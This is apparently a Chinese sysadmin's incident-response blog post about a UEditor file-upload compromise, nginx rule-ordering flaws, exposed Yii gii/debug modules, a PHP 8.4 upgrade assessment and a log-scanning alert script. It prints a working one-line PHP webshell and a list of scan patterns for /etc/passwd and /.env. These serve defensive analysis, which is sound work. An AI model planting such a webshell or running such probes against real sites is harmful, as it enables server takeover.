从一份 PHP 漏洞通报说起:UEditor 上传、一句话木马与 PHP 8.4 升级评估
2026-10-22
十月的某个上午,我手机上同时弹出几条消息:一条是安全通告的截图,说 PHP 又被曝出严重漏洞、已有攻击者在利用,荷兰、芬兰、法国等多国政府机构紧急下线网站;另一条是 Cloudflare 的股价——因为大量站点转向其防护,股价一路上扬。截图放在这里,算是个引子。

这类新闻看多了容易麻木,但同一天我们真的收到了一份编号 20260093 的安全提示函,指名说我们的搜索站存在 UEditor 任意文件上传漏洞。于是有了接下来一整天的排查、整改、评估,以及最后写的一个小工具。这篇就把整个过程完整记下来,既是复盘,也算一份可复用的处置手册。
一、第一现场:UEditor 的任意文件上传
被点名的是搜索服务(docker-zpy-search-v1),对外暴露在 8188 端口。UEditor 是百度的老富文本编辑器,它的 PHP 后端 /statics/ueditor/php/controller.php 支持 action=uploadfile,默认对上传文件类型几乎不设防——这是它十年来最经典的攻击面。
先看日志证据,不猜:
10.10.0.123 - - [10/Oct/2026:03:20:38 +0800] "POST /statics/ueditor/php/controller.php?action=uploadfile HTTP/1.1" 200 141
10.10.0.123 - - [10/Oct/2026:09:15:01 +0800] "POST /statics/ueditor/php/controller.php?action=uploadfile HTTP/1.1" 200 141
10.10.0.123 - - [10/Oct/2026:11:32:05 +0800] "POST /statics/ueditor/php/controller.php?action=uploadfile HTTP/1.1" 200 141
三次请求全部返回 200,落盘了三个 .xml 文件(其实是 SVG 载荷,用于探测外链 DTD/XXE):
1791573638798295.xml 03:20
1791594901945429.xml 09:15
1791603125578830.xml 11:32
也就是说,漏洞不是“可能被利用”,而是已经被利用了。整改必须按“已失陷”的级别来做,而不是“加固一下”。
1.1 顺手挖出的第二个洞:一个活了三年的一句话木马
扫上传目录时顺带扫了整个 web 根,结果在 web/assets/mc.php 发现一个 37 字节的文件:
<?=@eval($_SERVER["HTTP_PHPSPL01T"]);
一个标准的一句话木马,通过自定义 HTTP 头传 PHP 代码执行。文件时间是 2023-10-12 07:57:30,日志里能对上:境外 IP 159.65.54.29 先试探两次 404,第三次 500——那一次正是文件刚被写进去、被 fastcgi 解析的瞬间。
为什么它能活三年?因为配置里明明写了“禁止 /assets 下执行 PHP”:
# deny accessing php files for the /assets directory
location ~ ^/assets/.*\.php$ {
deny all;
}
但它被放在了 location ~ \.php$ 之后。nginx 的正则 location 是按出现顺序匹配、首个命中即生效,\.php$ 先命中,直接把请求交给了 php-fpm,那条 deny 规则从来没被执行过——一条“看起来在防护”的死规则,比没有防护更危险,因为它会让人以为已经防住了。
1.2 整改动作
没有做“最小改动”,直接一次到位:
- UEditor 后端接口整体下线:
location ^~ /statics/ueditor/php/ { deny all; },同时把前端配置里的serverUrl改成/_ueditor_upload_disabled_; - 后端 PHP 目录整体移出 web 根,打包备份到
_disabled/; - 上传目录只允许访问已存在的文件:
location ~ ^/upload/ { try_files $uri =404; },并禁止解析 PHP; - 静态目录禁解析规则上移到
location ~ \.php$之前,并返回 404(不给探测者“文件存在”的信号); - 隔离 5 个高危文件(木马 +
setup-nextcloud.php、install.php、index-test.php、main.php),chmod 000,记录 sha256 清单; - 两个 server 段统一加
X-Content-Type-Options: nosniff。
改完立刻复测:接口 403、木马与探测文件 404、正常图片 200、业务页面 200。“漏洞堵了、业务没坏”才是整改完成的判据,只验证前者等于没验证。
二、横向排查:另外三台服务器上也有同类问题
同一个模板部署出来的站点,问题往往是复制的。于是把 pro、ev、ev1st 三台也做了一遍只读扫描(不动任何文件):
- 三台都没有 UEditor 后端目录,上传卷里也没有 php/xml/htaccess 之类的可疑文件;
- 但三台都有那条失效的
^/assets/.*\.php$规则(同样的顺序问题); - 三台的 web 根都留着
install.php、test.php、main.php、requirements.php、index-test.php,全部可以直接访问,其中test.php里还硬编码了调试用的 WebSocket 地址与 uid/name; - 不存在的路径(如
/web/uploads/)会被转发到后端,返回 500,等于把“这个路径没有”变成了“这个路径有故事”。
处理方式统一为“隔离而非删除”——移到 web 根之外、chmod 000、留 sha256 清单,需要时一条 cp 就能回滚。
2.1 更严重的一台:gii 和 debug 直接暴露在公网
排查到数据服务那台(docker-zpy-data-service,同样是 8188)时,发现了比上传漏洞更危险的东西:
/gii 200
/gii/default/login 200
/debug 200
/debug/default/index 200
原因很“开发”:入口文件里写着
defined('YII_DEBUG') or define('YII_DEBUG', true);
defined('YII_ENV') or define('YII_ENV', 'dev');
而 config/web.php 在 YII_ENV_DEV 下会注册 gii 与 debug 两个模块,allowedIPs 还是 ['127.0.0.1', '*']。gii 是代码生成器,能写文件——等于把任意文件写入摆在了公网上。同时 errorAction 指向一个不存在的路由 site/show-error,导致任何错误都会把完整堆栈(含服务器绝对路径)打在页面上。
修复思路很直接:关 debug、切 prod(gii/debug 不再注册)、把 errorAction 改成真实存在的 site/error、补上静态目录规则与 nosniff、把 web/assets 从 777 收回 755。复测:/gii、/debug、/db.sql、/upload/ 全部 404,首页与业务接口正常。
顺带说一句:这台机器上 /v1/record/list 一直 500,日志是 Class 'app\...\models\Record' not found——控制器从 2021 年仓库初始化起就引用了一个从未提交过的模型文件。补上模型(dataservice2.Record 表,497 条数据)、本地提交并 push,接口恢复 200。这类“死代码”在快速迭代的项目里很常见,平时不报错,一被扫到就是 500。
三、整改完了,真正的难题才开始:PHP 7.1 要升到哪
排查过程中不断被同一个事实硌到:生产环境跑的是 PHP 7.1.33(2020 年镜像),而 7.1 早在 2019 年底就停止安全支持了。这次通报正好是个契机,于是做了一次完整的升级评估——目标两个:过渡版本 7.4,目标版本 8.4。
3.1 现状盘点
- 基础镜像:
zpy_php_fpm:v1.0.2-20220823,构建自 CentOS 7.8.2003(已 EOL),remi 源装 PHP 7.1.33; - 业务端:1070 个 PHP 文件、32.6 万行,Yii 2.0.25(2019 年);
- 后管端:143 个文件、2.75 万行,Yii 2.0.42.1;
- 34 个扩展,其中三个需要在升级时特别注意:
mcrypt(7.2 移除)、recode/wddx(7.4 移除),以及一个自研的 SM4 加密扩展。
3.2 四个硬阻塞
- 自研扩展编译不过。
zhipingyun.so是用 PHP-CPP 2.1.1 写的(导出myFunction()/myFunction1(),负责手机号与 env 配置的 SM4 加解密)。PHP-CPP 不支持 PHP 8,必须用 Zend API 重写外壳,算法核心可以复用。调用点有 8 处,其中解密路径是“不能失败”的路径。 - 框架太旧。Yii 2.0.25 对 PHP 8.4 完全没有准备,至少要 2.0.53;连带 queue/redis/debug/gii、swiftmailer(已停更,得换 symfony/mailer)、PhpSpreadsheet 1.9(要升 2.x)、mdmsoft/yii2-admin(无 PHP 8 维护)都要动。
- 基础 OS 与 OpenSSL 太旧。CentOS 7 + OpenSSL 1.0.2 不支持 SM4;若想用
openssl_encrypt('sm4-cbc')替代自研扩展,必须换到 Rocky/Alma 9 或 Debian 12。 - 三个扩展被移除。mcrypt 的调用点集中在
AES.php,而全仓检索发现这个类根本没有调用方,可以直接删。
3.3 代码级清单(部分)
modules/api/common/AES.php 25-40 mcrypt_*(9 处,类无调用方 → 删除)
.../controllers/FormConfigurationController.php 721 implode($vv, ',') → implode(',', $vv)
.../watermark/libpfi/fpdi.php 435 each() → foreach
.../watermark/fpdf/fpdf.php 1044 set_magic_quotes_runtime() → 删除
.../watermark/fpdf/makefont/makefont.php 388 同上
.../watermark/fpdf/fpdf.php 235/241/247/253/259/1171 utf8_encode() → mb_convert_encoding()
再往下是 PHP 8.x 的行为差异,这部分没有语法错误、只有“线上才炸”:PDO 从 8.1 起返回原生类型(整型不再是字符串,项目里大量 === 比较会翻车)、未定义变量从 Notice 变 Warning、向非空参数传 null 触发弃用、动态属性在 8.2 弃用,以及 8.4 新增的“隐式可空参数”弃用(项目 10 处、vendor 411 处)。
3.4 工期结论
7.4 是低风险过渡:主要是重建镜像、重编扩展,代码只改 4 个文件、11 行,约 11 人日。
8.4 是重大迁移:43 人日,单人约 8.5 周,两人并行约 4.5 周。
建议路径是先做 7.4 摆脱“7.1 已停止支持”的合规风险,同时把自研扩展的编译链摸清;再把 8.4 拆成“扩展重写 + 框架升级”两个独立里程碑推进。不要把版本升级和运行时更换放在同一个窗口——两个高风险变更叠加,出问题连定位都做不到。
四、还要不要 php-fpm?要不要上 Swoole?
评估过程中有人问:“是不是该转常驻内存、异步开发了?php-fpm 太老了。”这个问题值得认真回答,但答案不是“换”或“不换”。
先看事实:我们的 WebSocket 推送服务早就是常驻内存了——php modules/api/common/push.php start,Workerman 的 master/worker 进程,websocket://0.0.0.0:5001。所以“常驻内存”不是没用上,而是只用在长连接场景,这与业界做法一致。
再看收益结构。一个 Yii2 请求的耗时大概分三块:框架 bootstrap(15–30%)、业务与模板/Excel/PDF(30–50%)、DB 与外部 IO(30–50%)。换成常驻内存运行时,能省的主要是第一块;如果瓶颈在 SQL 和报表生成,换运行时的收益不到 15%。
| 路线 | Yii2 兼容 | 迁移成本 | 适合 |
|---|---|---|---|
| php-fpm + PHP 8.4(JIT) | 原生 | 极低 | 现有全部业务 ← 选它 |
| FrankenPHP / RoadRunner(worker 模式) | 基本可用,需每请求重置 Yii::$app | 中 | 想拿免 bootstrap 收益又不想重写 |
| Swoole / Hyperf | 不兼容 | ≈重写 | 全新服务 |
| Workerman | 仅长连接脚本 | 已用 | WebSocket / 推送 |
为什么 Yii2 不能直接上 Swoole?因为 Yii::$app 是单例、Request/Response 是组件实例、大量静态属性与全局状态。协程并发下这些状态会跨请求串数据,表现为“A 用户看到 B 用户数据”这种最难排查的故障。Yii 官方没有 Swoole 适配,社区方案维护度都很低——把它协程化,成本约等于重写框架层,比升级 8.4 本身更贵。
所以结论是:主 HTTP 继续 php-fpm(升到 8.4 + JIT + 调优),常驻内存用在已有的 Workerman 推送和新增的队列 worker 上;如果一定想让 HTTP 也常驻,选 FrankenPHP(几乎不改代码),Swoole 留给未来的新服务。
比换运行时收益更大的,其实是两件事:把报告生成、批量导出这类重接口异步队列化(已有 yii2-queue,扩 worker 就能横向扩容);以及在 fpm 模型下补上数据库连接池(ProxySQL 之类)——连接数才是 fpm 架构的硬瓶颈。
五、最后写了个小工具:被扫描时自动发邮件
整改完了,仍然会有人隔三差五来扫。日志里统计了一下:最近 303 万行访问日志中,fckeditor 相关探测 7847 次、ueditor 1588 次、uploadfile 107 次。既然拦不住别人扫,至少要知道“什么时候被扫了”。
于是写了个 bash 脚本挂在 cron 上,每 5 分钟增量读取 nginx 访问日志(记录字节 offset,日志轮转自动重置),命中下列规则就累积:
ueditor/php/controller | action=uploadfile
/assets/*.{php,phtml,phar} # 静态目录投马
/upload/*.{php,phtml,phar,xml,svg}
fckeditor | PHPSPL | /etc/passwd | /.env | /wp-login.php | /phpmyadmin
为避免被扫描器刷爆邮箱,做了 30 分钟合并窗口:窗口内所有命中合并成一封邮件,正文包含命中次数、来源 IP TOP8、最近 8 条原始请求行。发信走企业邮箱 SMTP(smtps://smtp.exmail.qq.com:465,curl 直接发),凭据不落盘——每次运行时从容器内解密 zpy_env.ini 取出来,用完即弃。
CROND[1121881]: (root) CMD (/data/zpyenv/scripts/scan_alert/scan_alert.sh)
MAIL SENT -> ... | [安全预警] dev4 疑似漏洞扫描 3 次 10-22 10:59
验证方式是“自己打自己”:手动请求三个攻击路径,脚本准确抓到 3 条并发出告警。这类工具的价值不在于多先进,而在于把“被动等通报”变成“主动感知”。
六、这次排查沉淀下来的几条经验
- 别信“写了规则”,要信“规则生效了”。nginx 正则 location 是顺序匹配,
\.php$放前面会让后面所有针对 php 的 deny 全部失效;改完必须用真实请求验证。 - 漏洞要按“已利用”处置。日志里出现 200 与落盘文件,就不是加固,是应急响应。
- 同模板部署的机器要一起查。一处踩坑,三处同款。
- 隔离优于删除。移出 web 根 +
chmod 000+ sha256 清单,可回滚、可追溯。 - 开发模式千万不要上生产。
YII_DEBUG=true+YII_ENV=dev直接把 gii(可写文件)和 debug(泄露 SQL/配置)摆到公网。 - 错误页也是攻击面。一个不存在的
errorAction就能让所有 404 变成带绝对路径的 500。 - 版本升级要算“行为差异”,不是只算语法错误。PDO 返回原生类型这一条,足够让一批接口悄悄出错。
- 换运行时之前先压测。先搞清楚 p95 花在框架、SQL 还是文件,再决定要不要常驻内存。
安全和升级这两件事,本质上是同一件事:把“不确定”变成“已知”。通报只是提醒,真正的功夫在平时的日志、配置和版本管理里。
——写于 2026 年 10 月,一次普通的周四。
发表评论: